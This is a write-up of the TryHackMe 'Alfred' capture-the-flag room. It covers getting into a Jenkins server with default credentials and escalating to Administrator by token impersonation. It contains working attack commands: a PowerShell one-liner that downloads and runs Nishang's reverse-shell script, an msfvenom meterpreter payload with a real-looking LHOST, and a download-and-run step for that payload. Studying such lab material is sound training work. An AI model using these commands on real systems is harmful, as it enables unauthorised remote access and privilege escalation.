Write-up for the Alfred CTF of TryHackMe.

1. Recon

Nmap scan result :

PORT	STATE SERVICE	REASON	VERSION
80/tcp	open	http	syn-ack ttl 127 Microsoft IIS httpd 7.5
3389/tcp open	ms-wbt-server? syn-ack ttl 127		
8080/tcp open	http	syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT	

2. Getting access

Accessing the web app

On the port 8080, we can find a webserver running the Jenskin web application. Jenskin is an open source automation server which enables developers around the world to reliably build, test, and deploy their software.

We are facing a login form. Since we don't have any creds or clues, we can search online for the default creds for the jenkins web app. We can find that the default user is **admin** Let's try admin for password. and it works.

Finding a fonctionnality to get a shell

We need to enumerate the web application to find an endpoint to spawn a shell on the system. Let's try to make a new item. Calling it "shell", in a "freestyle project" In the "build" section, "add build step" > "Execute windows batch command" Here, we can execute a command.

We will use the Nishang, the Invoke-PowerShellTcp.ps1 script We need to host the script on our server using a python server. On the jenkins app, we will use this command:

> powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]

On it's done, click on "Build now" and you should get a shell.

3. Upgrading our shell

For more stability, we will upgrade our standard shell to a meterpreter shell. We first need to create an executable for meterpreter using **msfvenom**

> msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.111.220 LPORT=4443 -f exe -e x86/shikata_ga_nai > shell.exe

Then we need to upload it to the target :

> powershell "(New-Object System.Net.WebClient).Downloadfile('http://:8000/shell-name.exe','shell-name.exe')" Once done, don't forget to start a metasploit listener for our payload. Start the shell using : Start-Process 'shell_name.exe'

4. Getting administrator access

We will use token impersonation to elevate. To control permission level, windows use tokens, and thoses token can be impersonate, like Tom can use the token of Fred, and if Fred has greater permission, Tom can his app using them. First, we need to check our permissions :

> whoami /priv

I just show permissions we have

Privilege Name	Description	State
SeDebugPrivilege	Debug programs	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled

We can see that we have the **SeImpersonatePrivilege** permission. To check what we can impersonate, we will use the **Incognito** module of meterpreter

> load incognito Then, to view which tokens we can impersonate : list_tokens -g

We can see that the 'BUILTIN\Administrators' is available. Let's impersonate it.

> impersonate_token 'BUILTIN\Administrators'

Now we need to migrate at an other program running with SYSTEM permission to ensure that we can use Administrator permissions.